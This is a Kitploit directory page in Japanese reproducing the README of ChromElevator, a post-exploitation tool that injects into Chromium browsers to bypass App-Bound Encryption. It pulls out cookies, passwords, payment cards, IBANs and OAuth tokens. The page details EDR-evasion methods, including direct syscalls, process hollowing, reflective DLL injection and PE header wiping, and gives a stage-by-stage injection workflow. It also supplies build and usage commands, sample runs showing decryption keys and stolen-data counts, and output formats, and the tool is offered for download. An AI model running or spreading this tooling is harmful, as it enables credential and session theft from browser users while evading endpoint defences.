Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Chrome-App-Bound-Encryption-Decryption — ダイレクトSyscallベースのリフレクティブプロセスホローイングにより、ChromiumのApp-Bound暗号化をバイパス。Chrome、Edge、Brave、Avastからクッキー、パスワード、支払い方法、トークンを抽出 - ファイルレス、ユーザーモード、管理者権限不要。 | Kitploit
ツール/GitHubGitHub/xaitax/chrome-app-bound-encryption-decryption
暗号化/復号化ツールパスワード攻撃エクスプロイトデータ流出情報収集ポストエクスプロイト暗号化レッドチーミング

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
xaitax/chrome-app-bound-encryption-decryption

Chrome-App-Bound-Encryption-Decryption

ダイレクトSyscallベースのリフレクティブプロセスホローイングにより、ChromiumのApp-Bound暗号化をバイパス。Chrome、Edge、Brave、Avastからクッキー、パスワード、支払い方法、トークンを抽出 - ファイルレス、ユーザーモード、管理者権限不要。

リポジトリを見るウェブサイト
1.7k29247ヶ月前Kitploit レビュー済み

ChromElevator (Chrome App-Bound Encryption Decryption)

🚀 概要

Build Status License Platform Languages Ask DeepWiki

Chromium の App-Bound Encryption (ABE) に対する完全なインメモリ・バイパスを実証するポストエクスプロイテーションツールです。このプロジェクトは、Direct Syscall ベースの Reflective Process Hollowing を利用して、正規のブラウザプロセスをサスペンド状態で起動し、ペイロードをステルス的に注入して、そのブラウザのアイデンティティとセキュリティコンテキストを乗っ取ります。この Living-off-the-Land (LOTL) 手法は、ブラウザ自身のセキュリティモデルを無効化します。ファイルレスアプローチにより、このツールは完全にメモリ上で動作し、ユーザーランド API フックをバイパスして、最新の Chromium ブラウザから機密性の高いユーザーデータ(Cookie、パスワード、支払い情報)を復号・窃取します。

この研究が役立つと感じられたなら、コーヒー一杯をご馳走していただけると幸いです:
ko-fi

🛡️ 中核となる技術的柱

このツールの有効性は、最新の回避技術を組み合わせたことに起因しています。

  • 回避のためのダイレクトシステムコール: 標準的な WinAPI 関数に対する EDR/AV のユーザーランドフックをバイパスし、カーネル関数を直接呼び出します。エンジンは Hell's Gate 手法と ハッシュベースの関数マッチング(バイナリ内に平文のシステムコール名は含まない)を用いて、実行時にシステムコール番号を動的に解決します。

  • Direct Syscall ベースの Process Hollowing: ステルス性の高いプロセス生成・注入技法です。トラフィックが多く、監視されている可能性のあるプロセスに注入する代わりに、新しくサスペンド状態のホストプロセスを作成します。これにより、すべてのメモリ操作がプロセスの通常実行開始前に行われるため、検出される可能性が大幅に低下します。

  • ファイルレス・インメモリ・ペイロード: ペイロード DLL はターゲットマシン上でディスクに触れることがありません。ChaCha20 で暗号化されたコンパイル時バイト配列として埋め込まれ、コンパイル時に導出されたキーでメモリ上で復号され、リフレクティブにロードされるため、フォレンジック上の痕跡を最小限に抑え、静的ファイルベースのスキャナをバイパスします。

  • Reflective DLL Injection (RDI): メインペイロードに LoadLibrary を使用しない、ステルス性の高いプロセス注入手法です。これにより、モジュールのロードを監視する検知メカニズムを回避します。自己完結型のブートストラップローダーが PE セクションをマッピングし、再配置を実行し、メモリからインポートを解決します。

  • ターゲットコンテキスト COM 呼び出し: App-Bound Encryption を無効化するための要です。信頼されたブラウザプロセスの 内部 でコードを実行することで、そのブラウザのアイデンティティとセキュリティコンテキストを継承し、ABE COM サーバーに対して正規の呼び出しに見えるリクエストを行い、パス検証セキュリティチェックを通過できます。

⚙️ 機能

コア機能

  • 🔓 Cookie、パスワード、支払い方法、IBAN、Google OAuth トークンの完全なユーザーモード復号。
  • 📁 すべてのユーザープロファイル(Default、Profile 1 など)を検出・処理します。
  • 📝 抽出したすべてのデータを、プロファイルごとに整理された構造化 JSON ファイルにエクスポートします。
  • 🔍 システム情報を含む包括的なブラウザフィンガープリンティング。

ステルス & 回避

  • 🛡️ ファイルレス・ペイロード配信: 暗号化された埋め込みペイロードのインメモリ復号と注入。
  • 🛡️ Direct Syscall エンジン: すべてのプロセス操作でフックされたユーザーランド API を回避し、一般的なエンドポイント防御をバイパスします。
  • 🛡️ ハッシュベースのシステムコール解決: バイナリ内に平文の Nt*/Zw* 関数名はなく、コンパイル時の DJB2 ハッシュを使用します。
  • 🛡️ コンパイル時キー導出: 暗号化キーはビルドメタデータから導出され、ビルドごとに一意になります。
  • 🛡️ PE ヘッダー破壊: 注入後に PE ヘッダーを疑似ランダムデータで上書きし、メモリスキャナを回避します。
  • 🛡️ IPC 模倣: 正規のブラウザ IPC トラフィックに溶け込む、ブラウザ固有の名前付きパイプパターン。
  • 🤫 Process Hollowing: ペイロード用に良性のサスペンド状態のホストプロセスを作成し、監視されている可能性のあるプロセスへの注入を回避します。
  • 👻 Reflective DLL Injection: 疑わしい LoadLibrary 呼び出しなしでペイロードをステルス的にロードします。
  • 🔒 非侵襲的なファイルロックバイパス: ブラウザプロセスを終了させずにロックされた SQLite データベースへアクセスするために、システムコールベースのハンドル複製を使用します。完全なプロセス終了にはオプションの --kill フラグが利用可能です。
  • 💼 管理者権限は不要: ユーザーのセキュリティコンテキスト内でのみ動作します。

互換性 & ユーザビリティ

  • 🌐 Google Chrome、Brave、Edge、Avast Secure Browser で動作します。
  • 💻 x64 および ARM64 アーキテクチャをネイティブにサポートします。
  • 🚀 スタンドアロン動作: ペイロードをホストするブラウザプロセスを自動的に新規作成するため、事前に実行中のインスタンスは不要です。
  • 📁 抽出データの出力ディレクトリをカスタマイズ可能。
image

📦 サポートおよびテスト済みバージョン

注: Chrome/Brave/Edge 144+ は新しい IElevator2 COM インターフェイスを使用します。このツールは、利用可能な場合は自動的に IElevator2 を使用し、古いバージョンでは IElevator にフォールバックします。Avast Secure Browser は、拡張された vtable(12 メソッド、オフセット 104 に DecryptData)を持つカスタムの IElevatorChrome インターフェイスを使用します。

🔍 機能サポートマトリクス

このマトリクスは、サポートされている各ブラウザの抽出機能を示します。

🔬 技術ワークフロー

このツールの実行は、Direct Syscall ベースの Reflective Hollowing プロセスを中心に構築され、ステルス性と効率性に重点を置いています。このアプローチにより、高レベルの API 呼び出しがほとんど行われず、ペイロードが正規の新規作成ブラウザプロセス内から動作することが保証されます。

ステージ 1: インジェクター (chromelevator.exe)

  1. 事前チェック & 初期化: インジェクターはまず ダイレクトシステムコールエンジン を初期化し、ntdll.dll を動的に解析してハッシュベースのマッチングによりシステムコール番号 (SSN) を解決し、カーネル遷移ガジェット(syscall/ret または svc/ret)を特定します。--kill フラグが指定されている場合は、NtGetNextProcess と NtTerminateProcess のシステムコールを使用して、対象ブラウザの実行中のすべてのインスタンスを終了し、SQLite データベースのファイルロックを解放します。
  2. ペイロード準備: コアペイロード DLL は、ChaCha20 で暗号化されたコンパイル時バイト配列として埋め込まれ、コンパイル時に導出されたキーを使用して、完全にメモリ上で復号されます。
  3. Process Hollowing: 既存のプロセスを標的にする代わりに、インジェクターは対象ブラウザの新しいインスタンスを CREATE_SUSPENDED 状態(CreateProcessW)で作成します。このクリーンなサスペンド状態のプロセスが、ペイロードのホストとして機能します。
  4. システムコールによるリフレクティブ注入: ダイレクトシステムコールエンジンを使用して、インジェクターはサスペンド状態のプロセスに対して一連のステルスアクションを実行します。
    • NtAllocateVirtualMemory(直接システムコール)を使用してメモリを割り当てます。
    • NtWriteVirtualMemory で、割り当てられた領域に復号されたペイロード DLL を書き込みます。
    • NtProtectVirtualMemory(直接システムコール)を使用して、メモリ領域のアクセス権を実行可能に変更します。

ステージ 2: 注入されたペイロード(インメモリ)

  1. ブートストラップ: Bootstrap リフレクティブローダーが実行され、拡張されたステルス性を備えたカスタムインメモリ PE ローダーとして機能します。
    • 直接システムコール を使用して NtAllocateVirtualMemory(フックされた VirtualAlloc をバイパス)でペイロード用の新しいメモリを割り当てます。
    • DLL のセクションを正確にマッピングし、ベースリロケーションを実行します。
    • PEB を解析して関数名をハッシュ化することにより、Import Address Table (IAT) を解決します。
    • 直接システムコール を使用して NtProtectVirtualMemory でセクションのアクセス権を設定します。
    • PE ヘッダーを破壊 し、DOS/NT ヘッダーを疑似ランダムデータで上書きして、メモリから MZ シグネチャを消去します。
    • 最後に、ペイロードの DllMain を呼び出します。
  2. 接続 & セットアップ: DllMain は新しいスレッドを生成し、インジェクターから渡された名前付きパイプハンドルに即座に接続します。インジェクターから送信された出力パスを含む設定を読み取ります。以降のすべてのログとステータス更新は、このパイプを介して中継されます。
  3. ターゲットコンテキスト COM ハイジャック: ブラウザプロセス内でネイティブに実行されるようになったペイロードは、ブラウザの内部 COM サーバー(Chrome/Brave 144+ では IElevator2、以前のバージョンでは IElevator、Edge では IEdgeElevatorFinal、Avast Secure Browser では IAvastElevator)をインスタンス化します。呼び出しが信頼されたプロセスパスから発信されるため、サーバーのすべてのセキュリティチェックが通過します。

🔧 ビルド手順

このプロジェクトでは、すべてのコンパイルとペイロードの埋め込みを自動的に処理する、シンプルで堅牢なビルドスクリプトを使用します。

  1. このリポジトリを クローン します。

  2. Developer Command Prompt for VS(または MSVC 対応のシェル)を開きます。

  3. プロジェクトルートからビルドスクリプト make.bat を実行します。

ビルドオプション:

  • make.bat - フルビルド(デフォルト)
  • make.bat clean - すべてのビルド成果物を削除
  • make.bat build_encryptor_only - 暗号化ツールのみをビルド(CI で使用)
  • make.bat build_target_only - ペイロードとインジェクターをビルド(CI で使用)

GitHub Actions による自動ビルド

このプロジェクトでは、GitHub Actions を使用して、x64 および ARM64 の両アーキテクチャ向けにインジェクター実行ファイル(chromelevator.exe)を自動的にビルドします。

最新のプリコンパイル済みバイナリは、Releases ページ で見つけることができます。両アーキテクチャの実行ファイルは、1 つの便利な .zip ファイルにまとめてパッケージ化されています。

リリースパッケージの内容:

  • chromelevator_x64.exe
  • chromelevator_arm64.exe

🚀 使用方法```bash

PS> .\chromelevator.exe --help

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>

Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory

root@kitploit:~
### Options

- `--output-path <path>` or `-o <path>`
  出力ファイルのベースディレクトリを指定します。
  デフォルトはインジェクタの場所からの相対パス `.\output\` です。
  データは `<path>/<BrowserName>/<ProfileName>/` のサブフォルダに整理されます。

- `--verbose` or `-v`
  インジェクタからの詳細なデバッグ出力を有効にします。

- `--fingerprint` or `-f`
  ブラウザのバージョン、拡張機能、セキュリティ設定、システム情報を含む包括的なブラウザフィンガープリンティングデータを抽出します。
  結果はブラウザの出力ディレクトリにある `fingerprint.json` に保存されます。

- `--kill` or `-k`
  **抽出前にすべてのブラウザプロセスを強制終了します。** データ抽出を試みる前に、直接システムコール(`NtTerminateProcess`)を使用して対象ブラウザの実行中の全インスタンスを終了します。これは、ブラウザが実行中でデータベースファイルにロックを保持しており、ツールがクッキーやその他の暗号化されたデータにアクセスできない場合に有用です。

- `--help` or `-h`
  このヘルプメッセージを表示します。

### 通常の実行```bash
PS> .\chromelevator.exe all

_________ .__                         ___________.__                       __
\_   ___ \|  |_________  ____   _____ \_   _____/|  |   _______  _______ _/  |_  ___________
/    \  \/|  |  \_  __ \/  _ \ /     \ |    __)_ |  | _/ __ \  \/ /\__  \\   __\/  _ \_  __ \
\     \___|   Y  \  | \(  <_> )  Y Y  \|        \|  |_\  ___/\   /  / __ \|  | (  <_> )  | \/
 \______  /___|  /__|   \____/|__|_|  /_______  /|____/\___  >\_/  (____  /__|  \____/|__|
        \/     \/                   \/        \/           \/           \/
 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 | v0.20.0 by @xaitax

  ┌──── Brave (143.1.85.120) ──────────────────────
  │
  │ Decryption Key
  │ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
  │
  ├── Default
  │   Cookies     3312
  │   Passwords   55
  │   Cards       1
  │   IBANs       1
  │
  └── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave

  ┌──── Chrome (143.0.7499.193) ───────────────────
  │
  │ Decryption Key
  │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
  │
  ├── Default
  │   Cookies     380
  │   Passwords   1
  │
  ├── Profile 1
  │   Cookies     932
  │   Passwords   791
  │   Cards       1
  │   IBANs       1
  │   Tokens      2
  │
  └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

  ┌──── Chrome Beta (144.0.7559.59) ───────────────
  │
  │ Decryption Key
  │ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
  │
  ├── Default
  │   Cookies     224
  │
  └── 224 cookies (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta

  ┌──── Edge (144.0.3719.67) ──────────────────────
  │
  │ Decryption Key
  │ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
  │
  ├── Default
  │   Cookies     226
  │   Passwords   2
  │   Cards       1
  │
  ├── Profile 1
  │   Cookies     25
  │
  └── 251 cookies, 2 passwords, 1 cards (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge

詳細```bash

PS> .\chromelevator.exe -v -f chrome

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

root@kitploit:~
## 📂 データ抽出

復号化が完了すると、データは指定された出力パスに保存されます (`--output-path` で指定されていない場合は、既定の `.\output\` になります)。ファイルは次のように整理されます:

**ベースパス:** `YOUR_CHOSEN_PATH` (例: `.\output\` または提供したパス)
**構造:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json

パス例 (既定の出力場所を想定):

- 🍪 **クッキー (Chrome の Default プロファイル):** .\output\Chrome\Default\cookies.json
- 🔑 **パスワード (Edge の Profile 1):** .\output\Edge\Profile 1\passwords.json
- 💳 **支払い方法 (Brave の Default プロファイル):** .\output\Brave\Default\payments.json
- 🏦 **IBAN (Chrome の Profile 1):** .\output\Chrome\Profile 1\iban.json

### 🍪 Cookie 抽出

各 Cookie ファイルは、オブジェクトの JSON 配列です:```json
[
  {
    "host": "accounts.google.com",
    "name": "ACCOUNT_CHOOSER",
    "path": "/",
    "expires": 1766591611,
    "value": "AFx_qI781-…"
  },
  {
    "host": "mail.google.com",
    "name": "OSID",
    "path": "/mail",
    "expires": 1766591611,
    "value": "g.a000uwj5ufIS…"
  },
  …
]

🔑 パスワード抽出

各パスワードファイルは、オブジェクトのJSON配列です:```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]

root@kitploit:~
### 💳 支払い方法の抽出

各支払いファイルは、オブジェクトのJSON配列です。```json
[
  {
    "name": "John Doe",
    "month": 12,
    "year": 2030,
    "number": "••••••••••1234",
    "cvc": "•••"
  },
  …
]

🏦 IBAN 抽出

各 IBAN ファイルはオブジェクトの JSON 配列です:```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]

root@kitploit:~
### 🎟️ トークン抽出

各トークンファイルは、サービス、復号化されたトークン、および(存在する場合)バインディングキーを含むオブジェクトのJSON配列です:```json
[
  {
    "service": "AccountId-112823413702122221871",
    "token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
    "binding_key": ""
  }
]

🔍 ブラウザフィンガープリンティング

--fingerprint または -f フラグを使用すると、包括的なメタデータレポートが生成されます:```json { "browser": "Chrome", "executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe", "browser_version": "143.0.7499.170", "user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data", "sync_enabled": false, "enterprise_managed": true, "update_channel": "stable", "hardware_acceleration": false, "metrics_enabled": false, "autofill_enabled": true, "password_manager_enabled": false, "safe_browsing_enabled": true, "do_not_track": false, "third_party_cookies_blocked": false, "translate_enabled": true, "installed_extensions_count": 2, "extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"], "profile_count": 2, "computer_name": "DESKTOP-ABC123", "windows_user": "username", "os_version": "10.0.26220", "architecture": "ARM64", "last_config_update": 1766578854, "extraction_timestamp": 1766591611, "extraction_complete": true }

root@kitploit:~
This data provides intelligence about the browser's configuration, security posture, and system context.

## 📚 詳細な技術分析と研究

ChromeのApp-Bound Encryption(ABE)、その実装の複雑な仕組み、このツールのアプローチの詳細なメカニズム、および関連するセキュリティベクターの幅広い議論を包括的に理解するには、私の詳細な研究ノートを参照してください:

1.  ➡️ **[Chrome App-Bound Encryption(ABE)- 技術ディープダイブ&研究ノート](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/RESEARCH.md)**

    このドキュメントでは以下を扱います:

    - DPAPIからABEへの進化。
    - `IElevator`/`IElevator2` COMインタラクションとキーラッピングを含む、ABEメカニズムのステップバイステップの解説。
    - このツールが使用するDLLインジェクション戦略の詳細な方法論。
    - 暗号化されたデータ構造の分析と、関連するChromiumソースコードの洞察。
    - 代替の復号ベクターと、進化するChromeの防御に関する議論。

2.  ➡️ **[不機嫌なCOMの奇妙な事件:Microsoft EdgeのApp-Bound Encryptionを復号する](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**

    この記事では、Microsoft Edge向けに信頼性の高いABE復号を実現するために行われた、具体的な課題とリバースエンジニアリングの道のりを詳しく説明します。内容は以下のとおりです:

    - 初期の問題と紛らわしいエラーコード(`E_INVALIDARG`、`E_NOINTERFACE`)の詳細。
    - Python `comtypes`を使用したCOMタイプライブラリのイントロスペクションにより、Edge固有の`IElevatorEdge` vtable構造と継承を解明するプロセス。
    - この洞察が、EdgeのABEサービスとの正常な対話を実現するための、カスタマイズされたC++インターフェイススタブにどのように繋がったか。
    - 厄介なCOM相互運用性の問題のデバッグに関する実践的な考察。

3.  ➡️ **[エレベーターのアップグレード:Chrome 144、IElevator2、そしてMojoの地平線](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**

    この記事では、Chrome 144の新しい`IElevator2` COMインターフェイスと、それがABEにとって何を意味するかを説明します:

    - Chrome 143の`IElevator`インターフェイスとChrome 144の`IElevator2`インターフェイスの技術比較。
    - 2つの新しいメソッド(`RunIsolatedChrome`、`AcceptInvitation`)の分析と、Chromiumが計画しているMojo IPC移行との関連。
    - 後方互換性が維持されていることを示すVTableレイアウトの比較。
    - Edge 144による`IElevator2`および新しいCopilotインターフェイスの部分的な採用。
    - Mojo移行がABEのセキュリティに対して何を変えるのか(そして変えないのか)についての率直な評価。

4.  ➡️ **[COMrade ABE:App-Bound EncryptionのCOMの裏側を知るためのフィールドマニュアル](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/docs/COMrade_ABE_Field_Manual.md)**

    このフィールドマニュアルでは、ABE COMインターフェイス用のPythonベースの動的アナライザーである**COMrade ABE**を紹介し、その実用的な応用について詳しく掘り下げます:

    - ブラウザのバリエーションと更新により、動的COMインターフェイス分析の必要性を説明。
    - COMrade ABEの方法論の詳細:サービス検出のためのレジストリスキャン、タイプライブラリの読み込みと解析、ヒューリスティックベースのABEメソッドシグネチャマッチング。
    - CLSID、IID(標準スタイルおよびC++スタイル)を含むCOMrade ABEの出力の解釈、およびVTableオフセット、定義インターフェイス、完全な継承チェーンといった詳細出力の重要性に関する包括的なガイドを提供。
    - 迅速な開発と研究のための自動生成C++スタブ(`--output-cpp-stub`)の有用性を強調。
    - COMrade ABEが、ABEの変更への適応、新しいChromiumブラウザの分析、およびベンダー固有のCOMカスタマイズの理解にどのように役立つかを議論。

## 🔗 追加リソースと研究

このプロジェクトは、広範なセキュリティコミュニティの活動と分析に基づいています。

- **公式ドキュメントと発表:**

  - [Googleセキュリティブログ:WindowsにおけるChrome Cookieのセキュリティ向上](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
  - [設計ドキュメント:Chrome app-bound暗号化サービス](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)

- **コミュニティの研究と謝辞:**
  - [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)による概念実証

## 🗒️ 変更履歴

このプロジェクトのすべての重要な変更は、[**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/CHANGELOG.md)ファイルに記載されています。これには、バージョン履歴、新機能、バグ修正、セキュリティ改善が含まれます。

## 📜 ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細については[LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/main/LICENSE)ファイルを参照してください。

## 💡 プロジェクトの理念と免責事項

> [!IMPORTANT]
> これは、教育およびセキュリティ研究を目的として作成された趣味のプロジェクトです。個人的な学習体験であり、高度なWindowsの概念を探求するための実験場として機能します。
>
> **このツールは、完全な機能を備えたインフォスティーラーや、確実なEDR回避ツールを意図したものではありません。** 高度な技術を採用していますが、その主な目的はABEメカニズムの実証と解析であり、悪意のある使用のための運用上のステルス性を提供することではありません。関連するすべての法的および倫理的ガイドラインを遵守してください。
ツールをダウンロード
BrowserTested Version (x64 & ARM64)
Google Chrome144.0.7559.133
Google Chrome Beta145.0.7632.18
Brave1.86.148 (144.1.86.148)
Microsoft Edge145.0.3800.36
Avast Secure Browser143.0.33371.147
FeatureGoogle ChromeMicrosoft EdgeBraveAvast Secure Browser
Cookies✅ ABE✅ ABE✅ ABE✅ ABE
Passwords✅ ABE✅ ABE✅ ABE✅ ABE
Payment Methods✅ ABE✅ ABE✅ ABE✅ ABE
IBANs✅ ABE❌ N/A✅ ABE✅ ABE
Auth Tokens✅ Google❌ N/A❌ N/A❌ N/A
  • 通信用の 名前付きパイプ を作成し、パイプ名をターゲットのメモリに書き込みます。
  • 実行 & 制御: NtCreateThreadEx を使用して、ターゲットプロセス内に新しいスレッドが作成されます。スレッドの開始アドレスは、ペイロードの Bootstrap エクスポートを直接指し、引数としてリモートパイプ名のアドレスが渡されます。ブラウザの元のメインスレッドはサスペンドされたままとなり、再開されることはありません。その後、インジェクターはペイロードがパイプに接続してくるのを待ちます。
  • マスターキー復号: ペイロードは、Local State ファイルから読み取った app_bound_encrypted_key を提供して、COM インターフェイスの DecryptData メソッドを呼び出します。COM サーバーはキーを忠実に復号し、平文の AES-256 マスターキーをペイロードに返します。
  • データ窃取: AES キーを手に入れたペイロードは、すべてのユーザープロファイル(Default、Profile 1 など)を列挙します。各プロファイルについて、関連する SQLite データベース(Cookies、Login Data、Web Data)を照会し、AES-256-GCM を使用してデータブロブを復号し、シークレットを JSON としてフォーマットします。結果は、インジェクターが指定した出力ディレクトリに直接書き込まれます。
  • シャットダウン: すべてのプロファイルを処理した後、ペイロードはパイプを介して完了シグナルをインジェクターに送信し、FreeLibraryAndExitThread を呼び出してクリーンアップします。シグナルを受信したインジェクターは、NtTerminateProcess で親ホストプロセスを終了します。